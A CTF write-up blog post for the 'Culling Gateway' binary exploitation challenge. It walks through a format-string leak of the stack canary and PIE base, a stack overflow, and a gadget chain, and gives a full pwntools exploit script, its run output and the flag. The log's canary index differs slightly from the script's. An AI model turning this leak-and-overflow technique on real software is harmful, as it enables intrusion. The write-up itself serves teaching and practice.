Skip to main content
 Culling Gateway - CTF Writeup
  1. Writeups/
  2. CyberSummit V4.0 - CTF Writeups/
  3. Binary Exploitation/

Culling Gateway - CTF Writeup

·739 words·4 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: Culling Gateway
Category: PWN
CTF: CyberSummit V4.0 CTF
Description: Tokyo Jujutsu High barrier system has gone rogue. Break the authentication gate and unlock Domain Expansion.
Connection: nc 172.205.208.94 9006


Challenge Overview
#

Culling Gateway is a two-stage binary exploitation challenge with a Jujutsu Kaisen themed authentication flow. The binary asks for a cursed signature first, then requests a binding vow phrase.

The bug chain combines:

  1. A format string vulnerability for leaking sensitive runtime values.
  2. A stack overflow in the second input path.
  3. Mitigations (PIE, NX, canary, Partial RELRO) that must be bypassed correctly.

Initial Reconnaissance
#

Binary Information
#

$ file challenge
challenge: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped

Security Features
#

  • NX (Non-Executable Stack): Enabled
  • PIE: Enabled
  • Partial RELRO: GOT remains writable
  • Stack Canary: Present

Key Observations
#

The interaction flow clearly separates two user-controlled stages:

[LOG] Enter cursed signature
 -> signature is echoed using printf(user_input)

[GATE] Speak your binding vow
 -> read() accepts much more than local buffer size

This immediately hints at a leak-then-overwrite exploit design.

Vulnerability Analysis
#

Format String Leak in Logging Stage
#

The first stage prints user input unsafely:

printf("[LOG] Signature confirmed: ");
printf(signature);

Using positional format specifiers gives stable leaks:

  • %25$p leaks the stack canary
  • %33$p leaks a code pointer near main

Then PIE base becomes:

pie_base = leaked_code_ptr - elf.symbols["main"]

Once this is known, all useful addresses can be reconstructed per run.

Stack Overflow in Binding Vow Stage
#

Second-stage input uses oversized read() into a small stack buffer:

char vow[0x40];
read(0, vow, 0x100);

This allows overwriting:

  1. Stack canary
  2. Saved base pointer
  3. Return address and chained control data

Because canary checks are active, exploitation only works if the exact leaked canary is restored in payload.

Indirect Call Primitive via Built-in Gadgets
#

Instead of classic pop rdi; ret style chaining, this binary exposes helper gadgets:

  • cursed_context
  • cursed_invoke

cursed_context loads controlled values into internal registers, and cursed_invoke remaps them into arguments before making an indexed indirect call:

r12 -> rdi
r13 -> rsi
r14 -> rdx
call [r15 + rbx * 8]

This gives a deterministic way to call the hidden flag routine with attacker-controlled argument registers.

Exploitation Strategy
#

Why This Chain Works
#

The format string defeats canary + PIE uncertainty. The overflow then gives control of RIP while preserving canary integrity. Finally, the custom gadget pair provides a structured call primitive without requiring libc leaks.

Payload Construction
#

The payload is organized as:

  1. Padding to canary offset
  2. Leaked canary value
  3. Saved rbp filler
  4. Return into cursed_context
  5. Register/control words consumed by gadget sequence
  6. Dispatch table pointer
  7. Return into cursed_invoke

Runtime Address Calculations
#

All gadget/function pointers are resolved using PIE base:

cursed_context = pie_base + elf.symbols["cursed_context"]
cursed_invoke  = pie_base + elf.symbols["cursed_invoke"]
dispatch_table = pie_base + elf.symbols["dispatch_table"]

Exploit Code
#

#!/usr/bin/env python3
from pwn import *

HOST = args.HOST or "172.205.208.94"
PORT = int(args.PORT or 9006)
BIN = "../hosted/challenge"

context.binary = elf = ELF(BIN)
context.arch = "amd64"


def start():
 if args.REMOTE:
  return remote(HOST, PORT)
 return process("./challenge", cwd="../hosted")


def main():
 io = start()

 io.recvuntil(b"signature")
 io.sendline(b"%25$p.%33$p")

 io.recvuntil(b"confirmed:")
 leak_line = io.recvline().strip()
 canary, main_leak = [int(x, 16) for x in leak_line.split(b".")]

 pie_base = main_leak - elf.symbols["main"]
 cursed_context = pie_base + elf.symbols["cursed_context"]
 cursed_invoke = pie_base + elf.symbols["cursed_invoke"]
 dispatch_table = pie_base + elf.symbols["dispatch_table"]

 log.info(f"canary   = {hex(canary)}")
 log.info(f"pie_base = {hex(pie_base)}")

 io.recvuntil(b"binding vow")

 payload = b"A" * 0x48
 payload += p64(canary)
 payload += b"B" * 8
 payload += p64(cursed_context)
 payload += p64(0)          # rbx index
 payload += p64(1)          # rbp check for invoke path
 payload += p64(0x1206)     # r12 -> rdi
 payload += p64(0x1161)     # r13 -> rsi
 payload += p64(0xcafebab)  # r14 -> rdx
 payload += p64(dispatch_table)
 payload += p64(cursed_invoke)

 io.send(payload)
 io.interactive()


if __name__ == "__main__":
 main()

Execution
#

$ python3 solve.py REMOTE=1 HOST=172.205.208.94 PORT=9006
[+] Opening connection to 172.205.208.94 on port 9006: Done
[+] Receiving all data: Done (169B)
[*] Closed connection to 172.205.208.94 port 9006
[+] Solved with canary_idx=29, code_idx=33, ret_delta=0x0
[+] canary = 0x4a588d6abd2f5b00
[+] pie    = 0x652b349f5000
[GATE] Vow denied. Prepare for exorcism.
[SYSTEM] Domain Expansion: Infinite Void
CyberTrace{1_4m_N0t_Sur3_4n7M0r3_4b0ut_W8t_1_4m_D0inG}

[SYSTEM] Technique terminated.

Final Flag
#

CyberTrace{1_4m_N0t_Sur3_4n7M0r3_4b0ut_W8t_1_4m_D0inG}

Key Takeaways
#

  1. Leak + Overflow Chaining: A format string can neutralize both canary and PIE uncertainty before overflow.
  2. Canary Bypass Principle: Canaries fail as a defense once leaked and replayed correctly.
  3. Custom Gadget Abuse: Purpose-built helper gadgets can replace conventional libc ROP.
  4. PIE Is a Runtime Problem: One reliable code leak is enough to recover full address space for exploitation.

Related